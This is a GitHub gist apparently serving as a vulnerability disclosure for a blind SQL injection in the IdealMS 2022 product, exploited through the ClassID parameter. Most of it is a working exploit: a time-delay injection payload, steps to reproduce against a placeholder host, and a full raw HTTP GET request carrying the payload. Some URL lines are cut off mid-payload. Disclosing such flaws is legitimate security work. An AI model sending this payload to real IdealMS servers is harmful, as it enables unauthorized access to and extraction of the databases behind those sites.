

Instantly share code, notes, and snippets.

This-is-Neo / Boolean-Based Blind SQL Injection Vulnerability PoC #1 - IdealMS.txt

Secret

Last active 6 months ago

☆ Star

<> Code - Revisions 2

SQL Injection Vulnerability PoC #1 - IdealMS

Boolean-Based Blind SQL Injection Vulnerability PoC #1 - IdealMS.txt

```
1  Vulnerability Type: SQL Injection Vulnerability (Boolean-Based Blind)
2  Vendor of Product: Ideaco.ir
3  Affected Product Code Base: IdealMS
4  Product Version: 2022
5  Description: IdealMS allows SQL Injection via the ClassID parameter
6  Attack Vectors: Attacker should inject malicious payload into ClassID parameter
7  Attack Type: Remote
8  Payload: -1%20waitfor%20delay'0%3a0%3a20'--
9  Assigned CVE-ID: <TBD>
10 Discoverer: Mohammad Reza Ismaeli Taba, Raspina Net Pars Group (RNPG Ltd.)
11
12 Steps To Reproduce
13 1. Browse the following page: https://<target.xyz>/IdealMS/ChatRoom/ClassAccessControl/6?isBigBlue
14 2. Insert the malicious query as the value in ClassID parameter
15 Example: https://<target.xyz>/IdealMS/ChatRoom/ClassAccessControl/6?isBigBlueButton=0&ClassID=-1%
16
17 #PoC
18
19 GET /IdealMS/ChatRoom/ClassAccessControl/6?isBigBlueButton=0&ClassID=-1%20waitfor%20delay'0%3a0%3a
20 Host: <address in which IdealMS is set up>
21 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
22 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
23 Accept-Language: en-US,en;q=0.5
24 Accept-Encoding: gzip, deflate
25 Connection: close
```